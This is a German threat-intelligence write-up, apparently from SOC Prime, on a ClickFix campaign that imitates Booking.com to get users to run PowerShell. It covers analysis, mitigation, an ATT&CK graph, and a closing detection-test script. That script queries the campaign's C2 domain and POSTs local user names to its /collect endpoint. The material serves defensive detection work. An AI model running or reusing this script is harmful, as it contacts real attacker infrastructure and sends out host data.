SOC Prime Bias: Mittel

24 Apr 2026 13:26 UTC

Analyse einer vollständigen ClickFix-Angriffskette (Teil 1)

Author Photo
SOC Prime Team linkedin icon Folgen
Analyse einer vollständigen ClickFix-Angriffskette (Teil 1)
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

Der Bericht beschreibt eine ClickFix-Kampagne, bei der eine bösartige Website Booking.com imitiert, um Nutzer dazu zu bringen, einen PowerShell-Befehl zu kopieren und auszuführen. Sobald der Befehl ausgeführt wird, startet er ein dateiloses PowerShell-Skript, das ein ZIP-Archiv der zweiten Stufe herunterlädt. Der Dropper sammelt Hostinformationen, schreibt die Nutzlast in das temporäre Verzeichnis und erstellt Persistenz durch einen Run-Registrierungsschlüssel und eine geplante Aufgabe. Die vollständige Infektionskette beruht auf überzeugenden Webinhalten und einer nutzergesteuerten Ausführung anstatt auf einem offensichtlichen Exploit.

Untersuchung

Analysten von Stormshield fingen das JavaScript ab, das für das Abrufen eines PowerShell-Befehls aus einer Command-and-Control-Domain und dessen Einfügen in die Zwischenablage des Benutzers verantwortlich war. Sie analysierten auch den PowerShell-Dropper, der detaillierte Systeminformationen über WMI-Abfragen und Umgebungsvariablen sammelte, bevor die Daten über eine GET-Anfrage exfiltriert wurden. Der gleiche Dropper lud dann ein ZIP-Archiv von einer zweiten Domain herunter, extrahierte dessen Inhalte und konfigurierte Persistenz auf dem kompromittierten Host. Forscher mappten die beobachteten Verhaltensweisen und Techniken auf ihre entsprechenden MITRE ATT&CK-Identifikatoren.

Abschwächung

Organisationen sollten die mit der ClickFix-Kampagne verknüpften bösartigen Domains und URLs blockieren und strikte Web-Filterung anwenden, um die Exposition gegenüber Phishing-ähnlichen Landingpages zu reduzieren. Verteidiger sollten die Ausführung von PowerShell mit Flags wie -ExecutionPolicy Bypass und versteckten Fenster Einstellungen überwachen, während sie auch die Ausführung nicht signierter PowerShell-Skripte durch Anwendungskontrolle einschränken. Zusätzliche Erkennungen sollten sich auf die Erstellung verdächtiger Run-Registrierungsschlüssel und geplanter Aufgaben mit unbekannten Namen konzentrieren.

Antwort

Sicherheitsteams sollten bei ausgehendem Traffic zu den identifizierten Command-and-Control-Domains und bei PowerShell-Befehlszeilen alarmieren, die Invoke-Expression verwenden, um aus der Ferne abgerufene Inhalte auszuführen. Die Erkennungslogik sollte auch die Erstellung des spezifischen Run-Registrierungswerts und des Planungsaufgabennamens abdecken, die mit der Kampagne verbunden sind. Wird die Aktivität bestätigt, sollte der Endpunkt sofort isoliert, flüchtige Beweise gesammelt und eine forensische Überprüfung temporärer Dateien und des heruntergeladenen ZIP-Nutzlast durchgeführt werden.

"graph TB %% Class Definitions classDef action fill:#99ccff classDef technique fill:#ffeb99 classDef tool fill:#ccffcc classDef process fill:#ffcccc classDef persistence fill:#ddddff %% Nodes action_initial["<b>Aktion</b> – Initialzugriff: Bösartige Kopieru2011Einfügen Webseite"] tech_user_exec["<b>Technik</b> – T1204.004 Nutzerausführung: Bösartiges Kopieren und Einfügen"] process_ps["<b>Prozess</b> – PowerShell-Befehl wurde in die Zwischenablage kopiert"] tech_ps["<b>Technik</b> – T1059.001 PowerShell"] tech_process_inject["<b>Technik</b> – T1055.011 Prozessinjektion"] action_discovery["<b>Aktion</b> – Systemaufdeckung"] tech_account_discovery["<b>Technik</b> – T1087 Kontoaufdeckung"] tech_security_sw["<b>Technik</b> – T1518.001 Aufdeckung von Sicherheitssoftware"] tech_time_discovery["<b>Technik</b> – T1124 Systemzeiterkennung"] action_c2["<b>Aktion</b> – Befehl und Kontrolle"] tech_http_c2["<b>Technik</b> – T1071.001 Web-Protokolle (HTTP)"] action_download["<b>Aktion</b> – Nutzlast herunterladen"] tech_ingress["<b>Technik</b> – T1105 Eingangs-Tool-Transfer"] action_deploy["<b>Aktion</b> – Nutzlast bereitstellen (ZIP-Extraktion)"] action_persistence["<b>Aktion</b> – Persistenzaufbau"] tech_registry_run["<b>Technik</b> – T1547.001 Registrierungs-Run-Schlüssel / Startordner"] tech_scheduled_task["<b>Technik</b> – T1053.005 Geplante Aufgabe/Job: Bei Anmeldung"] action_final["<b>Aktion</b> – Finale Ausführung der Nutzlast"] process_payload["<b>Prozess</b> – Extrahierte ausführbare Datei oder Batch-Datei"] %% Connections action_initial –>|triggers| tech_user_exec tech_user_exec –>|leads to| process_ps process_ps –>|executes| tech_ps tech_ps –>|may perform| tech_process_inject tech_process_inject –>|enables| action_discovery action_discovery –>|uses| tech_account_discovery action_discovery –>|uses| tech_security_sw action_discovery –>|uses| tech_time_discovery action_discovery –>|sends data to| action_c2 action_c2 –>|uses| tech_http_c2 action_c2 –>|triggers| action_download action_download –>|uses| tech_ingress action_download –>|stores file in| action_deploy action_deploy –>|creates| action_persistence action_persistence –>|uses| tech_registry_run action_persistence –>|fallback| tech_scheduled_task action_persistence –>|enables| action_final action_final –>|launches| process_payload %% Class Assignments class action_initial action class tech_user_exec technique class process_ps process class tech_ps technique class tech_process_inject technique class action_discovery action class tech_account_discovery technique class tech_security_sw technique class tech_time_discovery technique class action_c2 action class tech_http_c2 technique class action_download action class tech_ingress technique class action_deploy action class action_persistence action class tech_registry_run technique class tech_scheduled_task technique class action_final action class process_payload process "

Angriffsablauf

Simulationsausführung

Voraussetzung: Die Telemetrie- und Basislinien-Vorabsicherungsprüfung muss bestanden werden.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Technik (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und der Ablauf MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue erwartete Telemetrie gemäß der Erkennungslogik zu generieren.

  • Angriffserzählung & Befehle:
    Ein Angreifer, der einen Fuß in einem kompromittierten internen Arbeitsrechner gefasst hat, gibt einen PowerShell-Einzeiler aus, der die ClickFix C2-URL mit dem ?get_command=1 -Parameter über einen HTTP-POST kontaktiert. Der Server gibt eine PowerShell-Nutzlast zurück, die lokale Benutzerkonten auflistet (T1087), die Systemzeit überprüft (T1124), installierte Sicherheitsprodukte entdeckt (T1518.001) und die Ausgabe dann in die Zwischenablage kopiert. Der Zwischenhalt-Inhalt wird anschließend zurück zum ClickFix-Server zur Exfiltration gepostet, womit T1204.004 und T1547.001 erfüllt werden. Dieses genaue Verkehrsmuster stimmt mit der Sigma-Regel überein request_uri|contains: "?get_command=1" and http_method: POST Bedingungen.

  • Regressionstest-Skript:

    # ClickFix-Befehlsabfrage-Simulation – löst die Sigma-Regel aus
    $url = "https://accountpulsecentre.help/ern-ZIoCCeHgBJpt2g33q1ZHZmrC2jCoRE1hGJ5O38s?get_command=1"
    $payload = @{
        dummy = "data"
    }
    
    # Senden der bösartigen POST-Anfrage
    $response = Invoke-WebRequest -Uri $url -Method POST -Body ($payload | ConvertTo-Json) -ContentType "application/json"
    
    # Simulation der Ausführung des abgerufenen PowerShell-Befehls (vereinfacht)
    $psCommand = $response.Content
    Write-Output "Abgerufener Befehl: $psCommand"
    
    # Zur Demonstration führen Sie einen harmlosen Teil aus (z.B. abrufen lokaler Benutzer) und kopieren Sie ihn in die Zwischenablage
    $users = Get-LocalUser | Select-Object -ExpandProperty Name
    $usersString = $users -join "`n"
    Set-Clipboard -Value $usersString
    
    # Exfiltrieren Sie den Zwischenhalt-Inhalt zurück zum ClickFix-Server (simuliert)
    $exfilUrl = "https://accountpulsecentre.help/collect"
    Invoke-WebRequest -Uri $exfilUrl -Method POST -Body @{clipboard=$usersString} -ContentType "application/x-www-form-urlencoded"
  • Aufräumbefehle:

    # Entfernen Sie alle während des Tests erstellten temporären Dateien oder Artefakte
    Clear-Clipboard
    Write-Output "Aufräumen abgeschlossen – Zwischenablage gelöscht."